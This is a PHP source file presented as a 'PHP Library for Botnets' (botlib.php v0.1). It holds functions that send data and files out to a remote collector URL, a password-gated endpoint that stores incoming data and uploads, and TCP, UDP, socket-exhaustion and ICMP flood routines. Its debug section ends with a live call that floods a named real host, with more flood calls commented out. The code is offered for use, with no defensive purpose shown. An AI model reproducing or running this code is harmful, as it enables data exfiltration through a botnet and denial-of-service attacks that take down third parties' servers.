| 1 | <?php\r |
| 2 | //PHP Library for Botnets\r |
| 3 | //<-Harvie 2oo7\r |
| 4 | //botlib.php v0.1\r |
| 5 | //////////////////////////////\r |
| 6 | \r |
| 7 | ///Settings/////////////////////////////////////////////////////////\r |
| 8 | $passwd = "botload";\r |
| 9 | \r |
| 10 | ///Functions////////////////////////////////////////////////////////\r |
| 11 | \r |
| 12 | ////Uploading to server (GET)\r |
| 13 | //\r |
| 14 | function botlib_send_plaintext($passwd, $data, $botlib_url) {\r |
| 15 | file("$botlib_url?passwd=$passwd?data=".urlencode($data));\r |
| 16 | }\r |
| 17 | //\r |
| 18 | function botlib_send_plaintext_file($passwd, $file, $botlib_url) {\r |
| 19 | $data = implode("\n", file($file));\r |
| 20 | botlib_send_plaintext($passwd, $data, $botlib_url);\r |
| 21 | }\r |
| 22 | //\r |
| 23 | if(isset($_GET["data"]) && isset($_GET["passwd"])) {\r |
| 24 | $msg_file = "./data.txt";\r |
| 25 | \r |
| 26 | if($_GET["passwd"] != $passwd) die("Error - Incorrect password!");\r |
| 27 | $fp = fopen($msg_file, "a");\r |
| 28 | $data = "\n\n>> ".$_SERVER["REMOTE_ADDR"]." >>\n".$_GET["data"];\r |
| 29 | fwrite($fp, $data);\r |
| 30 | fclose($fp);\r |
| 31 | die("OK - Sent!");\r |
| 32 | }\r |
| 33 | \r |
| 34 | ////Uploading to server (POST) - Not Yet!!!!\r |
| 35 | //\r |
| 36 | function curl_upload_file($file, $botlib_url) {\r |
| 37 | $cmd = "$curl --url $botlib_url";\r |
| 38 | }\r |
| 39 | //\r |
| 40 | if(isset($_POST) && isset($_FILES) && isset($_POST["passwd"])) {\r |
| 41 | $dir = "./uploads";\r |
| 42 | \r |
| 43 | if($_POST["passwd"] != $passwd) die("Error - Incorrect password!</tt>");\r |
| 44 | if(!is_dir($dir)) { mkdir($dir); }\r |
| 45 | if(is_file($dir.$_FILES['file']['name'])) die("Error - File ".$dir.$_FILES['file']['name']." already exists!</tt>");\r |
| 46 | if(!move_uploaded_file($_FILES['file']['tmp_name'], $dir.$_FILES['file']['name'])) { die("Error - Can't move uploaded file!</tt>"); }\r |
| 47 | die("OK - Upload successfull!");\r |
| 48 | }\r |
| 49 | \r |
| 50 | ////(D)DoS Attacks\r |
| 51 | //\r |
| 52 | function dos_sock_table($host, $port, $max = 0, $timeout = 0.5) {\r |
| 53 | $i = 1;\r |
| 54 | while(1) {\r |
| 55 | @fclose($sock_array[$i]);\r |
| 56 | $sock_array[$i] = @fsockopen($host, $port, $errno, $errstr, $timeout);\r |
| 57 | $i++;\r |
| 58 | if($i == $max) $i = 1;\r |
| 59 | }\r |
| 60 | }\r |
| 61 | //\r |
| 62 | function dos_tcp_flood($host, $port, $timeout = 0.00001) {\r |
| 63 | while(1) @fsockopen($host, $port, $errno, $errstr, $timeout);\r |
| 64 | }\r |
| 65 | //\r |
| 66 | function dos_udp_flood($host, $size=1024, $port=0, $char='#') {\r |
| 67 | if($port == 0) $port = rand(1,65535);\r |
| 68 | $fp = fsockopen("udp://$host", $port);\r |
| 69 | if(!$fp) exit(1);\r |
| 70 | $data = "";\r |
| 71 | for($i=0;$i<$size;$i++) $data = $data.$char; //echo strlen($data); //Debug\r |
| 72 | while(1) fwrite($fp, $data);\r |
| 73 | }\r |
| 74 | //\r |
| 75 | function dos_icmp_flood($host, $ttl=255, $unix=false, $root=false) {\r |
| 76 | if($unix) {\r |
| 77 | if($root) shell_exec("ping -b -Q 255 -f -t $ttl -l 3 -i 0.2 -s 65507 $host");\r |
| 78 | else shell_exec("ping -b -f -t $ttl -Q 159 -l 65536 -i 0 -s 65507 $host");\r |
| 79 | } else {\r |
| 80 | shell_exec("ping -t -i $ttl -v 255 -l 65500 -w 1 $host");\r |
| 81 | }\r |
| 82 | }\r |
| 83 | \r |
| 84 | ///Debuging////////////////////////////////////////////////////////////////\r |
| 85 | dos_sock_table("djh.cz", 80, 9000);\r |
| 86 | //dos_tcp_flood("djh.cz", 80);\r |
| 87 | //dos_sock_table("daemoncze.ath.cx", 80, 3000);\r |
| 88 | //dos_sock_table("harvie.ath.cx", 80, 3000);\r |
| 89 | //dos_udp_flood("192.168.2.161");\r |
| 90 | //dos_icmp_flood("192.168.2.161");\r |